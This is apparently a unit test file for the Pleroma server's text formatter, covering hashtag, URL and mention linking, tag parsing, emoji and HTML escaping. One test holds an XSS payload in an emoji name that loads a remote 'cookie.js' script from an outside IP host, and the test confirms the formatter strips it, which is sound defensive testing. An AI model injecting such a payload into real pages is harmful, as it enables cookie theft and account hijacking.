# Pleroma: A lightweight social networking server # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.FormatterTest do alias Pleroma.Formatter alias Pleroma.User use Pleroma.DataCase import Pleroma.Factory setup_all do Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) :ok end describe ".add_hashtag_links" do test "turns hashtags into links" do text = "I love #cofe and #2hu" expected_text = "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>" assert {^expected_text, [], _tags} = Formatter.linkify(text) end test "does not turn html characters to tags" do text = "#fact_3: pleroma does what mastodon't" expected_text = "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't" assert {^expected_text, [], _tags} = Formatter.linkify(text) end end describe ".add_links" do test "turning urls into links" do text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ." expected = "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ." assert {^expected, [], []} = Formatter.linkify(text) text = "https://mastodon.social/@lambadalambda" expected = "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "https://mastodon.social:4000/@lambadalambda" expected = "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "@lambadalambda" expected = "@lambadalambda" assert {^expected, [], []} = Formatter.linkify(text) text = "http://www.cs.vu.nl/~ast/intel/" expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" expected = "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" expected = "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "https://www.google.co.jp/search?q=Nasim+Aghdam" expected = "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "https://en.wikipedia.org/wiki/Duff's_device" expected = "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "https://pleroma.com https://pleroma.com/sucks" expected = "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "xmpp:contact@hacktivis.me" expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>" assert {^expected, [], []} = Formatter.linkify(text) text = "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" expected = "<a href=\"#{text}\">#{text}</a>" assert {^expected, [], []} = Formatter.linkify(text) end end describe "add_user_links" do test "gives a replacement for user links, using local nicknames in user links text" do text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me" gsimg = insert(:user, %{nickname: "gsimg"}) archaeme = insert(:user, %{ nickname: "archa_eme_", info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}} }) archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) {text, mentions, []} = Formatter.linkify(text) assert length(mentions) == 3 expected_text = "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{ gsimg.ap_id }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{ archaeme.id }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{ archaeme_remote.id }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>" assert expected_text == text end test "gives a replacement for user links when the user is using Osada" do mike = User.get_or_fetch("mike@osada.macgirvin.com") text = "@mike@osada.macgirvin.com test" {text, mentions, []} = Formatter.linkify(text) assert length(mentions) == 1 expected_text = "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test" assert expected_text == text end test "gives a replacement for single-character local nicknames" do text = "@o hi" o = insert(:user, %{nickname: "o"}) {text, mentions, []} = Formatter.linkify(text) assert length(mentions) == 1 expected_text = "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi" assert expected_text == text end test "does not give a replacement for single-character local nicknames who don't exist" do text = "@a hi" expected_text = "@a hi" assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text) end test "given the 'safe_mention' option, it will only mention people in the beginning" do user = insert(:user) _other_user = insert(:user) third_user = insert(:user) text = " @#{user.nickname} hey dude i hate @#{third_user.nickname}" {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) assert mentions == [{"@#{user.nickname}", user}] assert expected_text == "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{ user.ap_id }'>@<span>#{user.nickname}</span></a></span> hey dude i hate <span class='h-card'><a data-user='#{ third_user.id }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>" end test "given the 'safe_mention' option, it will still work without any mention" do text = "A post without any mention" {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) assert mentions == [] assert expected_text == text end end describe ".parse_tags" do test "parses tags in the text" do text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。" expected_tags = [ {"#Test", "test"}, {"#working", "working"}, {"#は", "は"}, {"#漢字", "漢字"} ] assert {_text, [], ^expected_tags} = Formatter.linkify(text) end end test "it can parse mentions and return the relevant users" do text = "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" o = insert(:user, %{nickname: "o"}) jimm = insert(:user, %{nickname: "jimm"}) gsimg = insert(:user, %{nickname: "gsimg"}) archaeme = insert(:user, %{nickname: "archaeme"}) archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) expected_mentions = [ {"@archaeme", archaeme}, {"@archaeme@archae.me", archaeme_remote}, {"@gsimg", gsimg}, {"@jimm", jimm}, {"@o", o} ] assert {_text, ^expected_mentions, []} = Formatter.linkify(text) end test "it adds cool emoji" do text = "I love :moominmamma:" expected_result = "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />" assert Formatter.emojify(text) == expected_result end test "it does not add XSS emoji" do text = "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" custom_emoji = %{ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => "https://placehold.it/1x1" } expected_result = "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" assert Formatter.emojify(text, custom_emoji) == expected_result end test "it returns the emoji used in the text" do text = "I love :moominmamma:" assert Formatter.get_emoji(text) == [ {"moominmamma", "/finmoji/128px/moominmamma-128.png", "Finmoji"} ] end test "it returns a nice empty result when no emojis are present" do text = "I love moominamma" assert Formatter.get_emoji(text) == [] end test "it doesn't die when text is absent" do text = nil assert Formatter.get_emoji(text) == [] end test "it escapes HTML in plain text" do text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" assert Formatter.html_escape(text, "text/plain") == expected end end